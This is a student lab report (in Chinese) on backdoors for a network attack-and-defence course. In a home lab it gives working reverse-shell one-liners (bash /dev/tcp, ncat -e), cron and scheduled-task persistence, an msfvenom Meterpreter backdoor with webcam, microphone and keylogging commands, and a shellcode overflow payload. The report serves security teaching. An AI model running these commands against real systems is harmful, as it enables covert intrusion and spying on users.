2019-2020-2 20175308杨元 《网络对抗技术》Exp2 后门原理与实践
2019-2020-2 20175308杨元 《网络对抗技术》Exp2 后门原理与实践
实践前预备知识
1.后门
广义概念
广义概念上的后门,就是不经过正常认证流程而访问系统的通道。
可能存在于以下位置:
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序。
狭义概念
狭义概念上的后门满足以下几个特点:
- 特指潜伏于操作系统中专门做后门的一个程序
- 恶意攻击者可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
2.常用后门工具
2.1 NC或netcat
NC是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- windows可以通过下载教学附件中的“ncat.rar”解压使用
- mac、linux自带nc,可以通过“man nc”查看使用说明:
连接到某处: nc [-options] hostname port[s] [ports]
绑定端口等待连接:nc -l port [-options] [hostname] [port]
参数 | 描述 |
---|---|
-g<网关> | 设置路由器跃程通信网关,最多设置8个 |
-G<指向器数目> | 设置来源路由指向器,其数值为4的倍数 |
-h | 在线帮助 |
-i<延迟秒数> | 设置时间间隔,以便传送信息及扫描通信端口 |
-l | 使用监听模式,监控传入的资料 |
-n | 直接使用ip地址,而不通过域名服务器 |
-o<输出文件> | 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 |
-p<通信端口> | 设置本地主机使用的通信端口 |
-r | 指定源端口和目的端口都进行随机的选择 |
-s<来源位址> | 设置本地主机送出数据包的IP地址 |
-u | 使用UDP传输协议 |
-v | 显示指令执行过程 |
-w<超时秒数> | 设置等待连线的时间 |
-z | 使用0输入/输出模式,只在扫描通信端口时使用 |
2.1.1 Kali获取mac的shell
-
kali输入ifconfig获取自身ip地址
-
kali输入
nc -l -p 5308
开启监听 -
mac输入
bash -i >& /dev/tcp/192.168.242.133/5308 0>&1
连接linux -
kali获得了mac的shell
2.1.2 kali获取windows的shell
- linux输入
nc -l -p 5308
开启监听 - windows在cmd中输入
ncat.exe -e cmd.exe 192.168.242.133 5308
反弹连接kali - 此时回到kali,可以看到windows的cmd命令提示(我也不清楚为什么我win7的字体突然这么鬼小鬼小的。。。)
2.1.3 windows获取kali的shell
- windows在cmd中输入
ipconfig
获取自身IP地址“192.168.242.137” - windows在ncat文件夹中输入
ncat.exe -l -p 5308
开始监听 - kali输入
nc 192.168.242.137 5308 -e /bin/sh
反弹连接win - 此时回到windows,可以发现打开了kali的shell,可以正常输入命令
2.2 Meterpreter
后门是一个程序,传统的理解是:有人编写一个后门程序,大家拿来用。更加系统的做法是编写一个能生成后门程序的平台,这个平台将后门各方面做成了可调整的参数,包括:
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
典型的平台包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
在我们本次实验中学习如何使用msfvenom生成后门可执行文件Meterpreter
我们用到的命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 -f exe > 20175308_backdoor.exe
参数说明:
参数 | 描述 |
---|---|
-p | 使用的payload(有效载荷) |
-x | 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中 |
-e | 使用的编码器,用于对shellcode变形,为了免杀 |
-i | 编码器的迭代次数。如上即使用该编码器编码5次 |
-b | badchar是payload中需要去除的字符 |
LHOST | 反弹回连的IP |
LPORT | 回连的端口 |
-f | 生成文件的类型 |
> | 输出到哪个文件 |
实践步骤
1.使用netcat获取主机操作shell,cron启动
Cron:Linux下的定任务,每一分钟运行一次,根据配置文件执行预设的指令
1. 在mac端输入nc -l 5308
2. 在kali下使用crontab -e
指令编辑定时任务
- crontab:增加一条定时任务
- -e: 编辑
- 第一次打开会提示选择编辑器,这里我选择了2号basic
3. 在最后一行添加59 * * * * /bin/netcat 192.168.3.2 5308 -e /bin/sh
- 59 代表第59分钟,到每个小时的第59分钟这条指令就会执行
- 此时主机“192.168.3.2”如果在让nc侦听5308端口,59分钟时就会打开kali的shell
4. mac输入指令发现打开kali的shell
2.使用socat获取主机操作shell,任务计划启动
socat
socat是一个多功能的网路工具,名字来由是“Socket CAT”,可以看作是netcat的加强版
socat的使用格式:socat [options] <address> <address>
步骤
1. 在win7中使用“win+R”,打开后输入“compmgmt.msc”打开计算机管理
2. 点击任务计划程序
—>创建任务
3. 点击操作
—>新建
,在程序或脚本中添加ncat.exe
的文件路径
4. 添加参数栏填写tcp-listen:5308 exec:cmd.exe,pty,stderr
,作用是把cmd.exe绑定到端口5308 ,同时把cmd.exe的stderr重定向到stdout上;
5. 锁定win7,同时在kali中输入socat - tcp:192.168.242.137:5308
6. 此时kali中打开了win7的shell,可以正常输入命令
3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1. kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 -f exe > 20175308_backdoor.exe
(此处输入的是kali端的ip地址),生成后门程序"20175308_backdoor.exe"
2. 在win7的ncat文件夹中输入ncat.exe -l 5308 > 20175308_backdoor.exe
,被控主机就进入了接受文件的状态
3. kali中输入nc 192.168.242.137 5308 < 20175308_backdoor.exe
(此处输入的是被控端windows的ip地址)
4. 此时windows端发现后门程序已经传输成功
5. 以下操作在kali端进行
- 输入
msfconsole
进入msf控制台 - 输
入use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.242.133
,此处的ip地址也是kali的地址set LPORT 5308
,使用相同的端口- 输入
show options
可以查看我们的设置 - 输入
exploit
完成监听
6. 在windows中运行后门程序
7. 此时kali已经得到了windows的shell,可以执行命令
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1. 输入record_mic
可以截取一段音频
2. 输入webcam_snap
可以获取摄像头内容,如果虚拟机没有添加摄像头要先进行添加
3. 输入keyscan_start
开始记录击键记录,输入keyscan_dump
可以读取击键记录,这里似乎一开始记录马上就结束了 (..•˘_˘•..)
4. 输入getuid
可以查看当前的用户信息,输入getsystem
即可提权
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
思路:
这部分一开始输入msfvenom -h
查阅相关的参数说明,生成好的文件在实际使用的过程当中是一个成型的后门程序而不是按照题目要求的能注入到实践一pwn中的shellcode,使用-f c
参数产生的shellcode经测试也有一部分问题,所以这部分转而参考了往届学姐的博客
1. 在这个官方网站中我们可以使用已经生成好的Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes),把它下载下来
2. 打开下载好的文件,红框中的内容就是我们要用到的shellcode
3. 根据实验一中的步骤,我们在关闭地址随机化后可以找到shellcode的起始地址,我的起始地址是0xffffd2bc+4=0xffffd2c0
4. 开始注入并获取shell
- 本任务均在一台kali中完成,因此设置的IP地址是
127.0.0.1
,分两个终端完成 - 在终端1中输入
msfconsole
打开msf控制台 - 依次输入
use exploit/multi/handler
、set payload linux/x86/shell_reverse_tcp
、set LHOST 127.0.0.1
、set LPORT 4444
、exploit
,相应的作用在上文已经提到 - 在终端2中输入
perl -e 'print "A" x 32;print"\xc0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
,这就是我们计算过地址的shellcode - 终端2中输入
(cat input_shellcode;cat) | ./pwn1
,这时我们回到终端1,就可以发现已经打开了shell!
实践中遇到的问题与解决
1.kali输入ifconfig显示Command Not Found
这个问题上网查的时候很少有人提供解决方案,找到的几个都在修改路径文件。直到上课老师在输某个命令的时候说遇到“command not found”往往是找不到路径,添加一个sudo就好了。输入sudo ifconfig
就可以出现结果了。
2.kali获取mac的shell出错
错误提示如图:
解决这个问题其实很简单,注意mac端输入代码bash -i >& /dev/tcp/192.168.242.133/5308 0>&1
中用的很显然是bash,然而mac在此前的一次更新中已经将shell从bash转为了zsh,所以此时只需输入chsh -s /bin/bash
将shell切换回bash即可
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
安装包中放后门然后放到网上供下载。
做其他实验的时候有时候会使用一些比较旧版本的软件,或者破解版本的软件,平时下载东西我们也没有比较杂凑值检验完整性的习惯,如果下载内容被攻击者做了手脚很难发现。
例举你知道的后门如何启动起来(win及linux)的方式?
在实验中我们就已经知道了linux下的cron启动和windows下的任务计划启动。这里我在任务计划启动中设定的是工作站锁定时运行后门程序,工作站锁定时运行也就是此时用户离开电脑,发生的一切基本上是一无所知的。。。
Meterpreter有哪些给你映像深刻的功能?
我觉得本实验中meterpreter所有功能都让人很印象深刻,至少只有获取摄像头的时候我的电脑向我询问了相关权限,其他的如果我是被攻击者那么这一切都会在我完全不知情的情况下进行,我在电脑前说了什么话、输入了那些内容都会暴露在攻击者的面前,这显然严重侵犯了个人隐私权
如何发现自己有系统有没有被安装后门
多检查系统的端口状态、任务状态、安装使用一些专业的防护软件进行检测。
实验体会
都说无知者无畏,进行了本次实验后我更是深有体会。当你不知道手段高明的攻击者可以对你的电脑作什么的时候你觉得你在屏幕前的一切操作都是安全的、或者说你不会意识到可能正在发生的一切;而实际上每时每刻的你都可能通过后门暴露在恶意攻击者的面前。大公司会更看重信誉带来的利益不去留后门,可一旦对于一些小公司来说后门的收益更加可观呢?所以我们还是要有安全意识,尽量走官方渠道下载软件,定期检测以防万一。